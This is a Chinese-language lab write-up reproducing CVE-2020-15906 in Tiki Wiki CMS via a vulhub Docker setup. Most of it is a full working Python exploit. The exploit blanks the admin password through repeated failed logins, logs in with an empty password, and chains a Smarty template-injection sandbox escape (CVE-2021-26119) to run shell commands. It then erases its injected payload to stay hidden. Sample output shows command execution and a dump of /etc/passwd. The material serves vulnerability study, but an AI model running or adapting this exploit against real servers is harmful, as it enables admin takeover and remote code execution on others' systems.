Tiki Wiki CMS Groupware 认证绕过漏洞（CVE-2020-15906）

声明

好好学习，天天向上

漏洞描述

Tiki Wiki CMS Groupware或简称为Tiki（最初称为TikiWiki）是一种免费且开源的基于Wiki的内容管理系统和在线办公套件。在如下这些版本21.2, 20.4, 19.3, 18.7, 17.3, 16.4前存在一处逻辑错误，管理员账户被爆破60次以上时将被锁定，此时使用空白密码即可以管理员身份登录后台。

影响范围

16.x - 21.1

复现过程

这里使用21.1版本

使用vulhub

/app/vulhub/vulhub-master/tikiwiki/CVE-2020-15906

使用docker启动

docker-compose build
docker-compose up -d

环境启动后，访问

http://192.168.31.96:8080

poc.py

#!/usr/bin/env python3
"""
Tiki Wiki CMS GroupWare Serverside Template Injection Remote Code Execution Vulnerability
This is a demonstration of CVE-2021-26119 (Smarty Template Engine template_object Sandbox Escape PHP Code Injection)
Written by: Steven Seeley of Qihoo 360 Vulcan Team
Exploit tested against: Tiki Wiki 20.3 (Tarazed)
Bug 1: CVE-2020-15906
    - An unauthenticated user can bypass the authentication by bruteforcing the admin account > 50 times and login with a blank password
    - Works on: <= 21.1 (UY_Scuti)
    
Bug 2: CVE-2021-26119 
    - An admin user can trigger a serverside template injection and gain remote code execution by escaping the sandbox of the Smarty Template Engine by leveraging the 'template_object' property
    - Works on: <= 22.2 (Corona_Borealis) and impacts Smarty <= 3.1.38 (latest)
# Notes
- *WARNING* This exploit will lock out the administrator account
- It was possible in older versions of Tiki Wiki (including 20.3) that you could:
  1. Edit Smarty templates with a user that had the 'tiki_p_edit_templates' privilege, but Tiki clued into this and has since disabled this 'feature' by default, see using [Risky preferences](https://doc.tiki.org/Risky-Preferences)
  2. Disable the Smarty sandbox entirely by unchecking the "Smarty Security" checkbox in the general security tab which is no longer possible.
  However it's still possible for an admin (or user with the 'tiki_p_admin' permission assigned) to add Smarty template syntax to the 'feature_custom_html_head_content' option under [Customization](http://doc.tiki.org/Customization) in the [Look and Feel](http://doc.tiki.org/Look-and-Feel) control panel menu. This is enough for attackers to escape the Smarty sandbox leveraging either CVE-2021-26119 or CVE-2021-26120 and execute arbitrary remote code.
# Example
researcher@incite:~/tiki$ ./poc.py
(+) usage: ./poc.py <host> <path> <cmd>
(+) eg: ./poc.py 192.168.75.141 / id
(+) eg: ./poc.py 192.168.75.141 /tiki-20.3/ id
researcher@incite:~/tiki$ ./poc.py 192.168.75.141 /tiki-20.3/ "id;uname -a;pwd;head /etc/passwd"
(+) blanking password...
(+) admin password blanked!
(+) getting a session...
(+) auth bypass successful!
(+) triggering rce...
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux target 5.8.0-40-generic #45-Ubuntu SMP Fri Jan 15 11:05:36 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
/var/www/html/tiki-20.3
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
# References
- Maximilian Barz's poc at https://github.com/S1lkys/CVE-2020-15906
"""
 
import requests
import sys
import re
 
def auth_bypass(s, t):
    d = {
        "ticket" : "",
        "user" : "admin",
        "pass" : "trololololol",
    }
    h = { "referer" : t }
    d["ticket"] = get_ticket(s, "%stiki-login.php" % t)
    d["pass"] = "" # blank login
    r = s.post("%stiki-login.php" % t, data=d, headers=h)
    r = s.get("%stiki-admin.php" % t)
    assert ("You do not have the permission that is needed" not in r.text), "(-) authentication bypass failed!"
 
def black_password(s, t):
    uri = "%stiki-login.php" % t
    # setup cookies here
    s.get(uri)
    ticket = get_ticket(s, uri)
    d = {
        'user':'admin', 
        'pass':'trololololol',
    }
    # crafted especially so unsuccessful_logins isn't recorded
    for i in range(0, 51):
        r = s.post(uri, d)
        if("Account requires administrator approval." in r.text):
            print("(+) admin password blanked!")
            return
    raise Exception("(-) auth bypass failed!") 
 
def get_ticket(s, uri):
    h = { "referer" : uri }
    r = s.get(uri)
    match = re.search('class="ticket" name="ticket" value="(.*)" \/>', r.text)
    assert match, "(-) csrf ticket leak failed!"
    return match.group(1)
 
def trigger_or_patch_ssti(s, t, c=None):
    # CVE-2021-26119
    p = { "page": "look" }
    h = { "referer" : t }
    bypass = "startrce{$smarty.template_object->smarty->disableSecurity()->display('string:{shell_exec(\"%s\")}')}endrce" % c
    d = {
        "ticket" : get_ticket(s, "%stiki-admin.php" % t),
        "feature_custom_html_head_content" : bypass if c else '',
        "lm_preference[]": "feature_custom_html_head_content"
    }
    r = s.post("%stiki-admin.php" % t, params=p, data=d, headers=h)
    r = s.get("%stiki-index.php" % t)
    if c != None:
        assert ("startrce" in r.text and "endrce" in r.text), "(-) rce failed!"
        cmdr = r.text.split("startrce")[1].split("endrce")[0]
        print(cmdr.strip())
 
def main():
    if(len(sys.argv) < 4):
        print("(+) usage: %s <host> <path> <cmd>" % sys.argv[0])
        print("(+) eg: %s 192.168.75.141 / id"% sys.argv[0])
        print("(+) eg: %s 192.168.75.141 /tiki-20.3/ id" % sys.argv[0])
        return
    p = sys.argv[2]
    c = sys.argv[3]
    p = p + "/" if not p.endswith("/") else p
    p = "/" + p if not p.startswith("/") else p
    t = "http://%s%s" % (sys.argv[1], p)
    s = requests.Session()
    print("(+) blanking password...")
    black_password(s, t)
    print("(+) getting a session...")
    auth_bypass(s, t)
    print("(+) auth bypass successful!")
    print("(+) triggering rce...\n")
    # trigger for rce
    trigger_or_patch_ssti(s, t, c)
    # patch so we stay hidden
    trigger_or_patch_ssti(s, t)
 
if __name__ == '__main__':
    main()

直接执行

python poc.py 192.168.31.96:8080 / id

关闭镜像（每次用完后关闭）

docker-compose down

docker-compose常用命令

拉镜像（进入到vulhub某个具体目录后）

docker-compose build
docker-compose up -d

镜像查询（查到的第一列就是ID值）

docker ps -a

进入指定镜像里面（根据上一条查出的ID进入）

docker exec -it ID binbash

关闭镜像（每次用完后关闭）

docker-compose down